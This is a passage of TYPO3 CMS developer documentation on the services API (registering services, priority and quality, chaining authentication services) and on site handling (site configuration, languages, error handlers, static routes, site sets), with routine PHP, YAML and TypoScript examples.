available, neither will this service. In this case TYPO3 CMS can fall back
on the lower quality service which will still be better than nothing.
Quality varies between 0-100.
More considerations about priority and quality can be found in the
Developer's Guide.
The "Installed Services" report of the System > Reports module
provides an overview of all installed services and their priority
and quality. It also shows whether a given service is available
or not.
The Installed Services report showing details about registered services
Simple usage
The most basic use is when you want an object that handles a
given service type:
if (is_object($serviceObject = \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstanceService('textLang'))) {
$language = $serviceObject->guessLanguage($text);
}
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In this example a service of type "textLang" is requested. If such a
service is indeed available an object will be returned. Then the
guessLanguage() - which would be part of the "textLang" service
type public API - is called.
There's no certainty that an object will be returned, for a number of
reasons:
there might be no service of the requested type installed
the service deactivated itself during registration because it
recognized it can't run on your platform
the service was deactivated by the system because of certain checks
during initialization the service checked that it can't run and
deactivated itself
Note that when a service is requested, the instance created is stored
in a global registry. If that service is requested again during the
same code run, the stored instance will be returned instead of a new
one. More details in Service API.
If several services are available, the one with the highest priority
(or quality if priority are equals) will be used.
Use with subtypes
A service can also be requested for not just a type, but a subtype
too:
// Find a service for a file typeif (is_object($serviceObject = \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstanceService('metaExtract', $fileType))) {
$serviceObj->setInputFile($absFile, $fileType);
if ($serviceObj->process('', '', array('meta' => $meta)) > 0 && (is_array($svmeta = $serviceObj->getOutput()))) {
$meta = $svmeta;
}
}
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In this example a service type "metaExtract" is requested for a
specific subtype corresponding to some file's type. With the returned
instance, it then proceeds to retrieving whatever possible meta data
from the file.
If several services are available for the same subtype, the one with
the highest priority (or quality if priority are equals) will be used.
Calling a chain of services
It is also possible to use services in a "chain". This means using all
the available services of a type instead of just one.
The method
GeneralUtility::makeInstanceService() accepts a third
parameter to exclude a number of services, using an array of service keys.
This way you can walk through all available services of a type by passing the
already used service keys. Services will be called in order of decreasing
priority and quality.
The following example is an extract of the user authentication process:
EXT:some_extension/Classes/SomeClass.php
useTYPO3\CMS\Core\Utility\GeneralUtility;
// Use 'auth' service to find the user// First found user will be used
$subType = 'getUser' . $this->loginType;
/** @var AuthenticationService $serviceObj */foreach ($this->getAuthServices($subType, $loginData, $authInfo) as $serviceObj) {
if ($row = $serviceObj->getUser()) {
$tempuserArr[] = $row;
$this->logger->debug('User found', [
$this->userid_column => $row[$this->userid_column],
$this->username_column => $row[$this->username_column],
]);
// User found, just stop to search for more if not configured to go onif (empty($authConfiguration[$this->loginType . '_fetchAllUsers'])) {
break;
}
}
}
protectedfunctiongetAuthServices(string $subType, array $loginData, array $authInfo): \Traversable{
$serviceChain = [];
while (is_object($serviceObj = GeneralUtility::makeInstanceService('auth', $subType, $serviceChain))) {
$serviceChain[] = $serviceObj->getServiceKey();
$serviceObj->initAuth($subType, $loginData, $authInfo, $this);
yield $serviceObj;
}
}
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As you see the while loop is exited when a service gives a result.
More sophisticated mechanisms can be imagined. In this next example –
also taken from the authentication process – the loop is exited only
when a certain value is returned by the method called:
EXT:some_extension/Classes/SomeClass.php
foreach ($tempuserArr as $tempuser) {
// Use 'auth' service to authenticate the user.// If one service returns FALSE then authentication fails.// A service may return 100 which means there's no reason to stop but the// user can't be authenticated by that service.$this->logger->debug('Auth user', $tempuser);
$subType = 'authUser' . $this->loginType;
foreach ($this->getAuthServices($subType, $loginData, $authInfo) as $serviceObj) {
if (($ret = $serviceObj->authUser($tempuser)) > 0) {
// If the service returns >=200 then no more checking is needed.// This is useful for IP checking without password.if ((int)$ret >= 200) {
$authenticated = true;
break;
}
if ((int)$ret >= 100) {
} else {
$authenticated = true;
}
} else {
$authenticated = false;
break;
}
}
if ($authenticated) {
// Leave foreach() because a user is authenticatedbreak;
}
}
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In the above example the loop will walk through all services of the
given type except if one service returns
false or a value larger than
or equals to 200, in which case the chain is interrupted.
Configuration
Each service will have its own configuration which should be
documented in their manual. There are however properties common to all
services as well as generic mechanisms which are described below.
Registration options are described in more details in
Implementing a service.
Any of these options may be overridden using the above
syntax. However caution should be used depending on the options.
className should not be overridden in such a way.
Instead a new service should be implemented using an alternate
class.
Service configuration
Some services will not need additional configuration. Others may have
some options that can be set in the Extension Manager. Yet others may
be configured via local configuration files (ext_localconf.php ).
Example:
The available configuration settings should be described in the
service's documentation. See Service API
to see how you can read these values properly inside your service.
Service type configuration
It may also be necessary to provide configuration options for the code
that uses the services (and not for usage inside the services
themselves). It is recommended to make use of the following syntax:
This configuration can be placed in a local configuration file
(ext_localconf.php ). There's no API for retrieving these
values. It's just a best practice recommendation.
Developer's Guide
This chapter describes all you need to know to develop a new service,
including advice to developing good services.
Every service belongs to a given service type. A service type is
represented by a key, just like an extension key. In the examples
above there were mentions of the "auth" and "metaExtract" service types.
Each service type will implement its own API corresponding to the task
it is designed to handle. For example the "auth" service type requires
the two methods getUser() and authUser(). If you
introduce a new service type you should think well about its API
before starting development. Ideally you should discuss with other
developers. Services are meant to be reusable. A badly designed
service that is used only once is a failed service.
You should plan to provide an interface and/or base class for your new
service type. It is then easier to develop services based on this type
as you can start by extending the base class. You should also provide
a documentation, that describes the API. It should be clear to other
developers what each method of the API is supposed to do.
Implementing a service
There are no tools to get you started coding a new service.
However there is not much that needs to be done.
A service should be packaged into an extension. The chapter
Files and locations explains the minimal
requirements for an extension. The class file for your service should be
located in the Classes/Service directory.
Finally the service registration is placed in the extension's
ext_localconf.php file.
Service registration
Registering a service is done inside the ext_localconf.php
file. Let's look at what is inside.
EXT:my_extension/ext_localconf.php
<?phpdeclare(strict_types=1);
useFoo\Babelfish\Service\Translator;
useTYPO3\CMS\Core\Utility\ExtensionManagementUtility;
defined('TYPO3') ordie();
ExtensionManagementUtility::addService(
// Extension Key'babelfish',
// Service type'translator',
// Service key'tx_babelfish_translator',
[
'title' => 'Babelfish',
'description' => 'Guess alien languages by using a babelfish',
'subtype' => '',
'available' => true,
'priority' => 60,
'quality' => 80,
'os' => '',
'exec' => '',
'className' => Translator::class,
],
);
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A service is registered with TYPO3 CMS by calling
\TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addService().
This method takes the following parameters:
$extKey
(string) The key of the extension containing the service.
$serviceType
(string) Service type of the service. Choose something explicit.
$serviceKey
(string) Unique key for the service. Choose something explicit.
$info
(array) Additional information about the service:
title
(string) The title of the service.
description
(string) The description. If it makes sense it should contain information about
the quality of the service (if it's better or not than normal)
the OS dependency (either WIN or UNIX)
the dependency on external programs (perl, pdftotext, etc.)
subtype
(string / comma-separated list) The subtype is not predefined.
Its usage is defined by the API of the service type.
Example:
'subtype' => 'jpg,tif'
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available
(boolean) Defines if the service is available or not. This means that the
service will be ignored if available is set to false.
It makes no sense to set this to false, but it can be used to make a
quick check if the service works on the system it is installed on:
Examples:
// Is the curl extension available?'available' => function_exists('curl_exec'),
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Only quick checks are appropriate here. More extensive checks should
be performed when the service is requested and the service class is
initialized.
Defaults to true.
priority
(integer) The priority of the service. A service of higher priority will be
selected first. Can be reconfigured.
Use a value from 0 to 100. Higher values are reserved for
reconfiguration in local configuration. The default value is
50 which means that the service is well implemented and gives normal
(good) results.
Imagine that you have two solutions, a pure PHP one and another that
depends on an external program. The PHP solution should have a
priority of 50 and the other solution a lower one. PHP-only solutions
should have a higher priority since they are more convenient in terms
of server setup. But if the external solution gives better results you
should set both to 50 and set the quality value to a higher value.
quality
(integer/float) Among services with the same priority, the service with the highest
quality but the same priority will be preferred.
The use of the quality range is defined by the service type. Integer
or floats can be used. The default range is 0-100 and the default
value for a normal (good) quality service is 50.
The value of the quality should represent the capacities of the
services. Consider a service type that implements the detection of a
language used in a text. Let's say that one service can detect 67
languages and another one only 25. These values could be used directly
as quality values.
os
(string) Defines which operating system is needed to run this service.
Examples:
// runs only on UNIX'os' => 'UNIX',
// runs only on Windows'os' => 'WIN',
// no special dependency'os' => '',
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exec
(string / comma-separated list) List of external programs which are needed to run the service.
Absolute paths are allowed but not recommended, because the programs
are searched for automatically by \TYPO3\CMS\Core\Utility\CommandUtility.
Leave empty if no external programs are needed.
Examples:
'exec' => 'perl',
'exec' => 'pdftotext',
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className
(string) Name of the PHP class implementing the service.
The PHP class corresponding to the registered service
should provide the methods mentioned in Service Implementation.
It should then implement the methods that you defined
for your service's public API, plus whatever method is
relevant from the base TYPO3 CMS service API, which is
described in details in the next chapter.
Service API
All service classes should implement the methods mentioned below.
Authentication services should inherit from
\TYPO3\CMS\Core\Authentication\AbstractAuthenticationService .
Service Implementation
These methods are related to the general functioning of services.
Attention
init() and
reset() are the most important methods to implement
when developing your own services.
init
This method is expected to perform any necessary initialization for
the service. Its return value is critical. It should return
false if
the service is not available for whatever reason. Otherwise it should
return
true.
Note that's it's not necessary to check for OS compatibility, as this
will already have been done by
\TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addService()
when the service is registered.
Executables should be checked, though, if any.
The
init() method is automatically called by
\TYPO3\CMS\Core\Utility\GeneralUtility::makeInstanceService()
when requesting a service.
reset
When a service is requested by a call to
\TYPO3\CMS\Core\Utility\GeneralUtility::makeInstanceService(),
the generated instance of the service class is kept in a registry
(
$GLOBALS['T3_VAR']['makeInstanceService']). When the same
service is requested again during the same code run, a new instance is
not created. Instead the stored instance is returned. At that
point the
reset() method is called.
This method can be used to clean up data that may have been set during
the previous use of that instance.
__destruct
Clean up method. The base implementation calls on
unlinkTempFiles() to delete all temporary files.
The little schema below summarizes the process of getting a service
instance and when each of
init() and
reset() are
called.
The life cycle of a service instance
Getter Methods for Service Information
Most of the below methods are quite obvious, except for
getServiceOption().
getServiceInfo
Returns the array containing the service's properties
getServiceKey
Returns the service's key
getServiceTitle
Returns the service's title
getServiceOption
This method is used to retrieve the value of a service option, as
defined in the
$GLOBALS['TYPO3_CONF_VARS']['SVCONF'] array. It will
take into account possible default values as described in the
Service configuration chapter.
This method requires more explanation.
Imagine your service has an option called "ignoreBozo". To retrieve it
in a proper way, you should not access
$GLOBALS['TYPO3_CONF_VARS']['SVCONF'] directly, but use
getServiceOption() instead. In its simplest form, it will look
like this (inside your service's code):
This will retrieve the value of the "ignoreBozo" option for your
specific service, if defined. If not, it will try to find a value in
the default configuration. Additional call parameters can be added:
the second parameter is a default value to be used if no value was
found at all (including in the default configuration)
the third parameter can be used to temporarily switch off the usage of
the default configuration.
This allows for a lot of flexibility.
Error Handling
This set of methods handles the error reporting and manages the error
queue. The error queue works as a stack. New errors are added on top
of the previous ones. When an error is read from the queue it is the
last one in that is taken (last in, first out). An error is actually a
short array comprised of an error number and an error message.
The error queue exists only at run-time. It is not stored into session
or any other form of persistence.
errorPush
Puts a new error on top of the queue stack.
errorPull
Removes the latest (topmost) error in the queue stack.
getLastError
Returns the error number from the latest error in the queue, or true
if queue is empty.
getLastErrorMsg
Same as above, but returns the error message.
getErrorMsgArray
Returns an array with the error messages of all errors in the queue.
getLastErrorArray
Returns the latest error as an array (number and message).
resetErrors
Empties the error queue.
General Service Functions
checkExec
This method checks the availability of one or more executables on the
server. A comma-separated list of executable names is provided as a
parameter. The method returns
true if all executables are
available.
The method relies on
\TYPO3\CMS\Core\Utility\CommandUtility::checkCommand()
to find the executables, so it will search through the paths defined/allowed by
the TYPO3 CMS configuration.
deactivateService
Internal method to temporarily deactivate a service at run-time, if it
suddenly fails for some reason.
I/O Tools
A lot of early services were designed to handle files, like those used
by the DAM. Hence the base service class provides a number of methods
to simplify the service developer's life when it comes to read and
write files. In particular it provides an easy way of creating and
cleaning up temporary files.
checkInputFile
Checks if a file exists and is readable within the paths allowed by
the TYPO3 CMS configuration.
readFile
Reads the content of a file and returns it as a string. Calls on
checkInputFile() first.
writeFile
Writes a string to a file, if writable and within allowed paths. If no
file name is provided, the data is written to a temporary file, as
created by
tempFile() below. The file path is returned.
tempFile
Creates a temporary file and keeps its name in an internal registry of
temp files.
registerTempFile
Adds a given file name to the registry of temporary files.
unlinkTempFiles
Deletes all the registered temporary files.
I/O Input and I/O Output
These methods provide a standard way of defining or getting the
content that needs to be processed – if this is the kind of operation
that the service provides – and the processed output after that.
setInput
Sets the content (and optionally the type of content) to be processed.
setInputFile
Sets the input file from which to get the content (and optionally the
type).
getInput
Gets the input to process. If the content is currently empty, tries to
read it from the input file.
getInputFile
Gets the name of the input file, after putting it through
checkInputFile() . If no file is defined, but some content is,
the method writes the content to a temporary file and returns the path
to that file.
setOutputFile
Sets the output file name.
getOutput
Gets the output content. If an output file name is defined, the
content is gotten from that file.
getOutputFile
Gets the name of the output file. If such file is not defined, a
temporary file is created with the output content and that file's path
is returned.
Services API
This section describes the methods of the TYPO3 Core that are related
to the use of services.
This extension management class contains three methods related to
services:
addService
This method is used to register services with TYPO3 CMS. It checks for
availability of a service with regards to OS dependency (if any) and
fills the $GLOBALS['T3_SERVICES'] array, where information
about all registered services is kept.
findService
This method is used to find the appropriate service given a type and a
subtype. It handles priority and quality rankings. It also checks for
availability based on executables dependencies, if any.
This method is normally called by
\TYPO3\CMS\Core\Utility\GeneralUtility::makeInstanceService(),
so you shouldn't have to worry about calling it directly, but it can be useful to check if
there's at least one service available.
deactivateService
Marks a service as unavailable. It is called internally by
addService() and findService() and should probably not
be called directly unless you're sure of what you're doing.
\TYPO3\CMS\Core\Utility\GeneralUtility
This class contains a single method related to services, but the most
useful one, used to get an instance of a service.
makeInstanceService
This method is used to get an instance of a service class of a given
type and subtype. It calls on \TYPO3\CMS\Core\Utility\ExtensionManagementUtility::findService()
to find the best possible service (in terms of priority and quality).
As described above it keeps a registry of all instantiated service
classes and uses existing instances whenever possible, in effect
turning service classes into singletons.
Site handling
The site handling defines entry points to the frontend sites of a
TYPO3 instance, their languages and routing details. This chapter walks
through the features of the module and goes into API and programming details.
TYPO3 site handling and configuration is the starting point for creating new
websites. The corresponding modules are found in the TYPO3 backend in the
section Site Management.
A site configuration consists of the following parts:
Base URL configurations: the domain(s) to access my site.
Error handling: error behavior of my
site (for example, configuration of custom 404 pages).
Static routes: static routes of my site
(for example, robots.txt on a per site base).
Routing configuration: How shall routing behave for this site.
When creating a new page on root level via the TYPO3 backend, a very basic site
configuration is generated on the fly. It prevents immediate errors due to
missing configuration and can also serve as a starting point for all further
actions.
Most parts of the site configuration can be edited via the graphical interface
in the backend module Sites.
The Sites module in the TYPO3 backend.
Hint
While the editing mask for a site looks like a "normal" TYPO3 editing form,
it is not. In contrast to other forms, the site configuration is stored in
the file system and not in database tables.
Site configuration storage
When creating a new site configuration, a folder is created in the file system,
located at <project-root>/config/sites/<identifier>/. The site
configuration is stored in a file called config.yaml.
Note
If you are using a Classic mode installation, the location is
typo3conf/sites/config.yaml.
Tip
Add this folder to your version control system.
The configuration file
The following part explains the configuration file and options:
Most settings can also be edited via the Site Management > Sites
backend module, except for custom settings and additional routing configuration.
Site identifier
The site identifier is the name of the folder in
<project-root>/config/sites/ that contains your configuration file(s).
When choosing an identifier, be sure to use ASCII, but you may also use -, _
and . for convenience.
Root page ID
Root pages are identified by one of these two properties:
They are direct descendants of PID 0 (the root root page of TYPO3).
They have the Use as Root Page property in
pages set to
true.
Note
The same root page ID should not be used in multiple site configurations.
This may lead to misbehavior, since always the last defined site with this
root page ID is used by TYPO3. The Sites module warns you if the
same root page ID is used multiple times.
websiteTitle
The title of the website which is used in
<title> tag in the frontend.
base
The base is the base domain on which a website runs. It accepts either a
fully qualified URL or a relative segment "/" to react to any domain name.
It is possible to set a site base prefix to /site1, /site2
or even example.com instead of entering a full URI.
This allows a site base as example.com with http and https protocols to
be detected, although it is recommended to redirect HTTP to HTTPS, either at the
webserver level, via a .htaccess rewrite rule or by adding a redirect
in TYPO3.
Please note: when the domain is an Internationalized Domain Name (IDN)
containing non-Latin characters, the base must be provided in an
ASCII-Compatible Encoded (ACE) format (also known as "Punycode"). You can use
a converter to get the ACE format of the domain name.
Note
This flexibility introduces side effects if you have multiple sites with
mixed configuration settings as site base:
Site 1: /mysite/
Site 2: example.com
It is unspecific when a URL like example.com/mysite/ is detected,
and can lead to side effects.
In this case, the site administrator must set unique site base prefixes.
languages
Available languages for a site can be specified here. These settings determine
both the availability of the language and the behavior. For a detailed
description see Language configuration.
errorHandling
The error handling section describes how to handle error status codes for this
website. It allows you to configure custom redirects, rendering templates, and
more. For a detailed description, see error handling.
routes
The routes section is used to add static routes to a site, for example a
robots.txt or humans.txt file that depends on the current site
(an does not contain the same content for the whole TYPO3 installation).
Read more at static routes.
routeEnhancers
While page routing works out of the box without any further settings, route
enhancers allow configuring routing for TYPO3 extensions. Read more at
Advanced routing configuration (for extensions).
Creating a new site configuration
A new site configuration is automatically created for each
new page on the rootlevel (pid = 0) and each
page with the "is_siteroot" flag set.
To customize the automatically created site configuration,
go to the Site Management > Sites module.
Autocreated site configuration
You can edit a site by clicking on the Edit icon (the pencil). If
for some reason no site configuration was created, there will be a button to
create one:
The site configuration form looks like this:
A new site creation form.
It is recommended to change the following fields:
Site Identifier
The site identifier is the name of the folder within
<project-root>/config/sites/ that will hold your configuration
file(s). When choosing an identifier, make sure to stick to ASCII, but for
convenience you may also use -, _ and ..
Examples: main-site and landing-page.
Entry Point
Be as specific as you can for your sites without losing flexibility. So, if
you have a choice between using https://example.org,
example.org or /, then choose https://example.org.
This makes the resolving of pages more reliable by minimizing the risk of
conflicts with other sites.
If you need to use another domain in development, for example
https://example.ddev.site, it is recommended to use
base variants.
The next tab, Languages, lets you configure the default
language settings for your site. You can also add additional languages for
multilingual sites here.
These settings determine the default behavior - the entry point of the
site language in frontend as well as locale settings.
You can choose
to create a new language defining all values by yourself
(Create new language)
from a list of default language settings
(Choose a preset ...)
to use an existing language, if it is already used in a different site
(Use language from existing site ...)
Although 3. is always recommended when working with multi-site setups to keep
language IDs between sites in sync, 2. is a quick start to set up a new site.
Set default language settings
Check and correct all other settings as they will be automatically used for
features like the locale or displaying language flags in the backend.
That is all that is required for a new site.
Tip
Just by having a site configuration, you get readable page URLs out of
the box. Read more about how to configure routing.
In site handling, "base variants" represent different bases for a website
depending on a specified condition. For example, a "live" base URL might be
https://example.org/, but on a local machine it is
https://example.localhost/ as a domain - that is when variants are used.
Base variants exist for languages, too. Currently, these can only be defined
through the respective *.yaml file, there is no backend user interface
available yet.
Variants consist of two parts:
a base to use for this variant
a condition that decides when this variant shall be active
The Site Management > Sites module lets you specify which languages
are active for your site, which languages are available, and how they
should behave. New languages for a site can also be configured in this module.
When the backend shows the list of available languages, the list of languages is
limited to the languages defined by the sites module. For instance, the
languages are used in the page module language selector, when editing records
or in the list module.
The language management provides the ability to hide a language on the frontend
while allowing it on the backend. This enables editors to start translating
pages without them being directly live.
Note
In case no site configuration has been created for a tree, all configured
languages are displayed. In this case the page TSconfig options
mod.SHARED.defaultLanguageFlag,
mod.SHARED.defaultLanguageLabel and
mod.SHARED.disableLanguages settings are also considered -
those are obsolete, if a site configuration exists.
Language fallbacks can be configured for any language except the default one. A
language fallback means that if content is not available in the current language,
the content is displayed in the fallback language. This may include multiple
fallback levels - for example, "Modern Chinese" might fall back to "Chinese
(Traditional)", which in turn may fallback to "English". All languages can be
configured separately, so you can specify different fallback chains and
behaviors for each language.
Defines, if the language is visible on the frontend. Editors in the TYPO3
backend will still be able to translate content for the language.
languageId
languageId
Type
integer
Example
1
For the default/main language of the given site, use value
0. For
additional languages use a number greater than
0. Every site must
have at last one language configured with
languageId: 0.
Attention
Once pages, content or records are created in a specific language, the
languageId must not be changed anymore.
title
title
Type
string
Example
English
The internal human-readable name for this language.
websiteTitle
websiteTitle
Type
string
Example
My custom very British title
Overrides the global website title for this language.
navigationTitle
navigationTitle
Type
string
Example
British
Optional navigation title which is used in
HMENU.special = language.
base
base
Type
string / URL
Example
/uk/
The language base accepts either a URL or a path segment like
/en/.
baseVariants
baseVariants
Type
array
Allows different base URLs for the same language. They follow the same
syntax as the base variants on the root
level of the site config and they get active, if the condition matches.
The locale to use for this language. For example, it is used during frontend
rendering. That locale needs to be installed on the server. In a Linux
environment, you can see installed locales with
locale -a. Multiple
fallback locales can be set as a comma-separated list. TYPO3 will then
iterate through the locales from left to right until it finds a locale that
is installed on the server.
hreflang
hreflang
Type
string
Example
en-GB
Use this property to override the automatic hreflang tag value for this
language.
The information is automatically derived from the
locale setting.
Example setups:
You have "German (Germany)" (which is using
de-DE as locale) and
"German (Austria)" (which is using
de-AT as locale). Here you
want to set
de as generic fallback in the
de-DE locale
when using hreflang tags.
You want to explicitly set
x-default for a specific language,
which is clearly not a valid language key.
flag
flag
Type
string
Example
gb
The flag identifier. For example, the flag is displayed in the backend page
module.
fallbackType
fallbackType
Type
string
Example
strict
The language fallback mode, one of:
fallback
Fall back to another language, if the record does not exist in the
requested language. Do overlays and keep the ones that are not
translated.
It behaves like the old
config.sys_language_overlay = 1.
Keep the ones that are only available in default language.
strict
Same as
fallback but removes the records that are not
translated.
If there is no overlay, do not render the default language records,
it behaves like the old
hideNonTranslated, and include
records without default translation.
free
Fall back to another language, if the record does not exist in the
requested language. But always fetch only records of this specific
(available) language.
It behaves like old
config.sys_language_overlay = 0.
fallbacks
fallbacks
Type
comma-separated list of language IDs
Example
1,0
The list of fallback languages. If none has a matching translation, a
"pageNotFound" is thrown.
Error handling
Error handling can be configured on site level and is automatically dependent
on the current site and language.
Currently, there are two error handler implementations and the option to write
a custom handler:
You can define one error handler per HTTP error code and add a generic one that
serves all error pages.
Attention
Exceptions must be handled via error and exception handling, since they occur on a much lower level.
These are currently not covered by site error handling.
Add custom error handling.
Properties
These properties apply to all error handlers.
errorCode
type
int
Example
404
The HTTP (error) status code to handle. The predefined list contains the
most common errors. A free definition of other error codes is also possible.
The special value 0 will take care of all errors.
The page error handler displays the content of a page in case of a certain
HTTP status. The content of this page is generated via a TYPO3-internal
sub-request.
In order to prevent possible denial-of-service attacks when the page-based error
handler is used with the cURL-based approach, the content of the error page is
cached in the TYPO3 page cache. Any dynamic content on the error page (for
example, content created by TypoScript or uncached plugins) will therefore also
be cached.
If the error page contains dynamic content, TYPO3 administrators must
ensure that no sensitive data (for example, username of logged-in frontend user)
will be shown on the error page.
The error handling configuration for sites allows implementing a custom error
handler, if the existing options of rendering a
Fluid template or
page are not enough. An example would
be an error page that uses the requested page or its parameters to search for
relevant content on the website.
A custom error handler needs to have a constructor that takes exactly two
arguments:
$statusCode: an integer holding the status code TYPO3 expects the
handler to use
$configuration: an array holding the configuration of the handler
What you do with these variables is left to you, but you need to return a
valid
\Psr\Http\Message\ResponseInterface response - most usually an
\TYPO3\CMS\Core\Http\HtmlResponse .
<?phpdeclare(strict_types=1);
namespaceMyVendor\MySitePackage\Error;
usePsr\Http\Message\ResponseInterface;
usePsr\Http\Message\ServerRequestInterface;
useTYPO3\CMS\Core\Error\PageErrorHandler\PageErrorHandlerInterface;
useTYPO3\CMS\Core\Http\HtmlResponse;
finalclassErrorHandlerimplementsPageErrorHandlerInterface{
private int $statusCode;
privatearray $errorHandlerConfiguration;
publicfunction__construct(int $statusCode, array $configuration){
$this->statusCode = $statusCode;
// This contains the configuration of the error handler which is// set in site configuration - this example does not use it.$this->errorHandlerConfiguration = $configuration;
}
publicfunctionhandlePageError(
ServerRequestInterface $request,
string $message,
array $reasons = [],
): ResponseInterface{
returnnew HtmlResponse('<h1>Not found, sorry</h1>', $this->statusCode);
}
}
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Static routes
Static routes provide a way to create seemingly static content on a per site
base. Take the following example: In a multi-site installation you want to have
different robots.txt files for each site that should be reachable at
/robots.txt on each site. Now, you can add a static route
robots.txt
to your site configuration and define which content should be delivered.
Routes can be configured as top level files (as in the
robots.txt case),
but may also be configured to deeper route paths
(
my/deep/path/to/a/static/text, for example). Matching is done on the
full path, but without any parameters.
Static routes can be configured via the user interface or directly in the YAML
configuration. There are two options: deliver static text or resolve a TYPO3 URL.
Note
Static route resolving is implemented as a
PSR-15 middleware. If the route path requested
matches any one of the configured site routes, a response is directly
generated and returned. This way there is minimal bootstrap code to be
executed on a static route resolving request, mainly the site configuration
needs to be loaded. Static routes cannot get parameters, as the matching is
done solely on the path level.
staticText
The
staticText option allows to deliver simple text content. The text
can be added through a text field directly in the site configuration. This is
suitable for files like robots.txt or humans.txt.
This enables you to reach the files at https://example.org/example.svg
and https://example.org/favicon.ico.
The asset URL is configured on a per-site basis.
This allows to deliver site-dependent custom favicon or manifest
assets, for example.
TYPO3 URL (t3://)
The type
uri for a TYPO3 URL provides the option to render either a
file, page or URL. Internally, a request to the file or URL is done and its
content delivered.
Using environment variables in the site configuration
Environment variables in the site configuration allows setting placeholders for
configuration options that get replaced by environment variables specific to the
current environment.
The format for environment variables is
%env(ENV_NAME)%. Environment
variables may be used to replace complete values or parts of a value.
Note
TYPO3 does not provide a loader for .env files - you have to take
care of loading them yourself. Common options include setting environment
configuration via server configuration or using vlucas/phpdotenv or
symfony/dotenv.
Examples
base:'https://%env(BASE_DOMAIN)%/'
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When using environment variables in conditions, make sure to quote them
correctly:
Using site configuration in TypoScript and Fluid templates
getText
Site configuration can be accessed via the site property in TypoScript.
Example:
page.10 = TEXT
page.10.data = site:base
page.10.wrap = This is your base URL: |
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Where
site is the keyword for accessing an aspect, and the following parts are the
configuration key(s) to access.
data = site:customConfigKey.nested.value
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To access the current siteLanguage use the siteLanguage prefix:
page.10 = TEXT
page.10.data = siteLanguage:navigationTitle
page.10.wrap = This is the title of the current site language: |
page.10 = TEXT
page.10.dataWrap = The current site language direction is {siteLanguage:direction}
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Tip
Accessing site configuration is possible in TypoScript, which enables to store site specific configuration options
in one central place (the site configuration) and allows usage of that configuration from different contexts.
While this sounds similar to using TypoScript constants, site configuration
values may also be used from backend or CLI context as long as the rootPageId of a site is known.
Using site configuration in TCA foreign_table_where
TCA: foreign_table_where
The foreign_table_where setting in TCA allows marker-based
placeholders to customize the query. The best place to define site-dependent
settings is the site configuration, which can be used within
foreign_table_where.
To access a configuration value the following syntax is available:
###SITE:<KEY>### - <KEY> is your setting name from site config e.g. ###SITE:rootPageId###
###SITE:<KEY>.<SUBKEY>### - an array path notation is possible. e.g. ###SITE:mySetting.categoryPid###
Example:
// ...'fieldConfiguration' => [
'foreign_table_where' => ' AND ({#sys_category}.uid = ###SITE:rootPageId### OR {#sys_category}.pid = ###SITE:mySetting.categoryPid###) ORDER BY sys_category.title ASC',
],
// ...
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Site sets
New in version 13.1
Site sets have been introduced.
Site sets ship parts of the site configuration as composable pieces. They are
intended to deliver settings,
TypoScript and
page TSconfig
for the scope of a site.
Extensions can provide multiple sets in order to ship presets for different
sites or subsets (think of frameworks) where selected features are exposed
as a subset (example: typo3/seo-xml-sitemap).
A site set definition contains the configuration for site settings, TypoScript
and PageTSConfig and can be assigned to one or more sites via the site module.
Site set definitions are created in the Configuration/Sets/ directory
and separated from each other by a sub-folder with any name. In this way,
it is also possible to create several site set definitions per extension. Each
of these sub-folders must have a config.yaml that assigns at least a
unique name and preferably also a unique label to the site set definition.
Site Set Name
Similar to the package name of Composer: [Vendor]/[Package]
Is required to uniquely identify the site set
and to resolve dependencies to other site sets.
This name does NOT reflect an extension, but only the provider of an
extension through the vendor name.
There are NO conclusions from the name here as to which extension
provided the site set definition.
Line 2:
label: My Set
This label will be used in the new select box of the site module. Should
be as unique as possible to avoid duplication in the site module.
Line 3-6: Settings
Define settings for the website
Never nest settings with a dot! e.g. website.background.color
Otherwise the new settings definitions will not work later.
If a setting value contains special characters or spaces, it is recommended to
wrap the value in single quotes. You can also define settings in a
separate file settings.yaml. See section below.
Line 7: Dependencies
Load setup.typoscript, constants.typoscript,
page.tsconfig and config.yaml from the site set definitions
of this or other extensions. These dependencies are loaded before your own
site set. For example a dependency to a site set definition in your own
site package and/or a dependency to a site set definition from
another provider (vendor)
Hidden site sets
Sets may be hidden from the backend set selection in
Site Management > Sites and the console command
bin/typo3 site:sets:list by adding a hidden flag to the
config.yaml definition:
Integrators may choose to hide existing sets from the list of available
sets for backend users via user TSconfig, in case only a curated list of sets
shall be selectable:
Settings for subsets (for example to configure settings in declared dependencies)
can be shipped via settings.yaml when placed next to the set file
config.yaml.
Note that default values for settings provided by the set do not need to be
defined here, as defaults are to be provided within
settings.definitions.yaml.
Here is an example where the setting styles.content.defaultHeaderType as
provided by typo3/fluid-styled-content is configured via
settings.yaml:
This setting will be exposed as site setting whenever the set
my-vendor/my-set is applied as dependency to a site configuration.
TypoScript provider
TypoScript dependencies can be included via set dependencies. This mechanism is
much more effective than the previous
static includes or manual
@import statements.
TypoScript dependencies via sets are automatically ordered and
deduplicated.
Set-defined TypoScript can be shipped within a set. The files
setup.typoscript and
constants.typoscript (placed next to the
config.yaml file) will be loaded, if available.
They are inserted (similar to static_file_include) into the TypoScript chain
of the site TypoScript.
Set constants will always be overruled by site settings. Since site settings
always provide a default value, a constant will always be overruled by a defined
setting. This can be used to provide backward compatibility with TYPO3 v12
in extensions, where constants shall be used in v12, while v13 will always
prefer defined site settings.
In contrast to static_file_include, dependencies are to be included via
sets. Dependencies are included recursively. This mechanism supersedes the
previous include via static_file_include or manual
@import statements as
sets are automatically ordered and deduplicated. That means TypoScript will not
be loaded multiple times, if a shared dependency is required by multiple sets.
Note
@import statements are still fine to be used for local
includes, but should be avoided for cross-set/extensions dependencies.
Attention
If the website uses a mixed setup consisting of a TypoScript template (sys_template)
and site sets, it is important to uncheck the "Clear" flag for constants and
setup in the TypoScript template. If the "Clear" flag is checked (default),
TypoScript settings from site sets are cleared and do therefore not apply.
Page TSconfig provider
Page TSconfig is loaded from a file page.tsconfig, if placed next to the
site set configuration file config.yaml and is scoped to pages within
sites that depend on this set.
Therefore, extensions can ship page TSconfig without the need for database entries or
by polluting global scope when registering page TSconfig globally via
ext_localconf.php or Configuration/TCA/Overrides/pages.php.
Dependencies can be expressed via sets, allowing for automatic ordering and
deduplication.
Analyzing the available site sets via console command
A list of available site sets can be retrieved with the console command
bin/typo3 site:sets:list:
The example site package also loads its TypoScript by placing the files
constants.typoscript and setup.typoscript into the folder of the
